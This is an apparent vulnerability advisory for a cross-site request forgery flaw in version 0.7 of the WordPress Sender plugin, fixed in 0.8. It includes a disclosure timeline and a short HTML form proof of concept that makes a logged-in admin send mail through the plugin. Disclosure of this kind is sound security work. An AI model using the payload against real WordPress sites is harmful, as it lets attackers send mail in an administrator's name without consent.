WordPress Sender plugin version 0.7 suffers from a cross site request forgery vulnerability.
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Plugin Name : Sender A8-Cross-Site_Request_Forgery_(CSRF)
Effected Version : 0.7 (and most probably lower version's if any)
Vulnerability : A8-Cross-Site Request Forgery (CSRF)
Identified by : Madhu Akula
Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :
POC for Sending mail :
<html>
<body>
<form action=”http://localhost/wp-admin/admin.php?page=sndr_send_user” method=”POST”>
<input type=”hidden” name=”sndr_user_name[subscriber]” value=”1″ />
<input type=”hidden” name=”sndr_subject” value=”test” />
<input type=”hidden” name=”sndr_content” value=”test” />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>
Impact : we can send mail to any one on behalf of the admin
Fixed in : 0.8
http://wordpress.org/plugins/sender/changelog/
Disclosure Timeline
Vendor Contacted : 2014-08-04
Plugin Status : Updated on 2014-08-07
Public Disclosure : October 3, 2015
CVE Number : Not assigned yet
Plugin Description :
This plugin allows you send mails to all users or to certain categories of users via several clicks. To send letters, you can use the php functions such as sending emails, wordpress functions, or send an email through the SMTP server. Also, the plugin provides a bulk mailing for a certain period of time.